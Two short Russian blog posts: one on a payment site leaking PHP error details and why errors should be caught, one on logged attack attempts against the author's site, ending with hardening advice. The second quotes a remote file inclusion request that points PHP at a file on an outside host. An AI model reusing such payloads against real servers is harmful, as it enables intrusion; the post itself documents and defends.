Ошибочное программирование

Сегодня пытался оплатить услуги “ВобляКобель” через платежную систему money.ua. После непродолжительной паузы, получил следующую ошибку:

Warning: SoapClient::__construct(http://stat.voliacable.com:8080/wspay/PayService?wsdl) [function.--construct]: failed to open stream: Connection refused in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 33
Warning: SoapClient::__construct() [function.--construct]: I/O warning : failed to load external entity "http://stat.voliacable.com:8080/wspay/PayService?wsdl" in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 33
Fatal error: Error responding from payment gateway, gateway overload. Please, try again later in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 40
Error responding from payment gateway, gateway overload. Please, try again later

И вот мне подумалось, что нужно все-таки перехватывать ошибки в функциях (в PHP есть возможность перехватывать любую ошибку и натравливать на нее свою написанную функцию, которой можно выводить сообщение клиенту, а саму ошибку отправлять себе на почту или складывать в базу данных, кому как удобнее). Просто потому что какой-то нехороший человек может заняться поиском уязвимостей, мало ли. Паранойя иногда помогает избеганию проблем.


Теги: , , , , , ,

Скрипткиды или боты

Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.

/var/log/messages:
Oct  4 03:23:34 220 suhosin[28420]: ALERT – tried to register forbidden variable ‘_SERVER[DOCUMENT_ROOT]‘ through GET variables (attacker ‘77.242.37.212‘, file ‘/xxx/domain.tld/index.php’)

Пример запроса (из лога апача):
211.111.213.195 – - [05/Oct/2009:08:26:22 +0300] “GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1″ 302 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)”

Файл IDtest.txt все еще доступен для скачивания. Видимо никто еще на него не жаловался или хостинг игнорирует абузы.

Как защититься?

a) обновите PHP;
b) не включайте register_globals (оставьте Off);
c) дополнительно можете пользоваться патчем/модулем suhosin.


Теги: , , , , , , , , , , ,